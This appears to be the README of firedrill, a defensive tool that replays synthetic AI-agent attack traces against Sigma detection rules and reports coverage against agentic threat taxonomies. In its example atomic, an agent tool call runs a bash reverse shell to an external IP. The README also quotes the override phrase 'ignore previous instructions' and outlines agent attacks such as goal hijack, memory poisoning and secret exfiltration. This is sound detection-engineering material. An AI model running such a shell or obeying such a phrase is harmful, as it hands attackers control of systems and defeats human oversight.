firedrill

Do your detections fire when an AI agent is attacked? Run the drill and find out.

firedrill replays small, known-bad agent attack traces against your detection rules and tells you which attacks you would have caught, which you would have missed, and which of your rules cannot tell an attack from normal agent work. Results are scored against the OWASP Top 10 for Agentic Applications (2026) and MITRE ATLAS.

It is the Atomic Red Team idea applied to agent telemetry: a library of atomic tests, a deterministic rule engine, a coverage matrix and a CI gate. No LLM, no API key, no network. Runs offline in under a second.

Quickstart

pip install agent-firedrill
firedrill run

The PyPI name is agent-firedrill; the command and the Python package are firedrill. If the firedrill command is not on your PATH, python -m firedrill works the same way.

firedrill 0.1.0: 17 atomics x 15 alerting rules

       OWASP Agentic Top 10 2026                atomics  covered  noisy  missed
ASI01  Agent Goal Hijack                              3        3      0       0
ASI02  Tool Misuse & Exploitation                     2        2      0       0
ASI03  Identity & Privilege Abuse                     2        2      0       0
ASI04  Agentic Supply Chain Vulnerabilities           2        2      0       0
ASI05  Unexpected Code Execution                      2        2      0       0
ASI06  Memory & Context Poisoning                     1        1      0       0
ASI07  Insecure Inter-Agent Communication             1        0      0       1
ASI08  Cascading Failures                             1        1      0       0
ASI09  Human-Agent Trust Exploitation                 1        0      0       1
ASI10  Rogue Agents                                   2        2      0       0

Coverage 88.2% (15/17 covered)   detection rate 88.2%   noisy 0   missed 2

Now point it at the keyword rules most teams write first:

firedrill run --rules examples/naive-rules

Coverage 0.0% (0/17 covered)   detection rate 41.2%   noisy 7   missed 10

Seven of those rules fire on their attack. All seven also fire on ordinary agent work. That gap between "detection rate" and "coverage" is the reason this tool exists.

How it works

atomic (YAML)                      your Sigma rules
  attack trace  ─┐                       │
  benign twin   ─┴─►  rule engine  ◄─────┘
                          │
                          ▼
        covered / noisy / missed  per atomic
                          │
                          ▼
     coverage matrix (OWASP ASI, MITRE ATLAS)  ─►  CI gate

Atomics. Each atomic in firedrill/atomics is one technique expressed as OpenTelemetry GenAI spans (gen_ai.operation.name, gen_ai.tool.name, gen_ai.tool.call.arguments, ...). Every atomic carries two traces:

• attack: what the technique looks like in telemetry.
• benign: ordinary agent work chosen to look as similar as possible. A security blog that quotes "ignore previous instructions". rm -rf ./build. .env.example. A reply to an external customer.

Outcomes. For each atomic the rules are run over both traces:

Rules. Standard Sigma YAML, including Sigma correlation rules (event_count, value_count, temporal, temporal_ordered), which is what lets a rule say "untrusted content, then a secret read, then external egress, in one conversation, within ten minutes". The bundled starter pack is in firedrill/rules.

Commands

Gate a pull request on detection coverage

- run: pip install agent-firedrill
- run: firedrill run --rules detections/ --min-coverage 80 --max-noisy 0

run exits 1 when a gate fails and appends the Markdown report to GITHUB_STEP_SUMMARY when that variable is set. --max-missed N is also available.

Test the pipeline, not just the rule

firedrill export FD-ASI01-001 --out trifecta.json
curl -X POST http://localhost:4318/v1/traces -H "Content-Type: application/json" -d @trifecta.json

If the alert does not show up in your SIEM, the gap is in collection, parsing or field mapping, which no amount of rule review would have found.

Writing an atomic

id: FD-ASI05-002
name: Agent opens a reverse shell to an external host
severity: critical
owasp_asi: [ASI05]
atlas: [AML.T0072]
description: ...
benign_note: The agent uses netcat to check that the database port is reachable.
attack:
  - at: 0                      # seconds from the start of the trace
    attrs:
      gen_ai.operation.name: execute_tool
      gen_ai.tool.name: shell
      gen_ai.tool.call.arguments: { command: "bash -i >& /dev/tcp/203.0.113.5/4444 0>&1" }
benign:
  - at: 0
    attrs:
      gen_ai.operation.name: execute_tool
      gen_ai.tool.name: shell
      gen_ai.tool.call.arguments: { command: "nc -zv db.internal 5432" }

repeat: and every: generate bursts. Framework ids are validated against taxonomy.py, so a typo fails the load. The benign twin is the hard part and the valuable part: pick the legitimate activity an analyst would most plausibly confuse with the attack.

What the numbers do and do not mean

• The bundled 88% is a self-test, not a benchmark. The starter rules and the atomics were written by the same author against each other. The number that matters is the one you get from your rules.
• Traces are synthetic. They follow the OpenTelemetry GenAI conventions, but your instrumentation may name tools differently, truncate arguments or not capture content at all (prompt, result and tool-definition capture are opt-in). An atomic your rules "cover" here can still be invisible in production. Use export to check.
• One benign twin is a floor, not a false-positive rate. Passing it means the rule survives the most obvious look-alike, nothing more.
• Pattern rules are evadable. Several starter rules match strings an attacker controls. The sequence-based correlations are sturdier. Neither replaces prevention.
• Two categories are missed on purpose. ASI07 (forged inter-agent message) and ASI09 (phishing link in the agent's own voice) cannot be separated from their benign twins with the fields a span carries. The report says what each would need.
• Sigma subset. Unsupported modifiers and correlation types raise an error instead of being skipped, so a rule is never silently unevaluated.

Related

Companion to gauntlet: gauntlet asks whether your agent resists the attack, firedrill asks whether you would see it. Prior art worth knowing: Atomic Red Team (the model for this project), Uber ADR (sensor, LLM-based detector and benchmark), Netzilo aidr-sigma (a Sigma rule set for agent events).

Development

pip install -e ".[dev]"
python -m pytest -q

MIT licensed.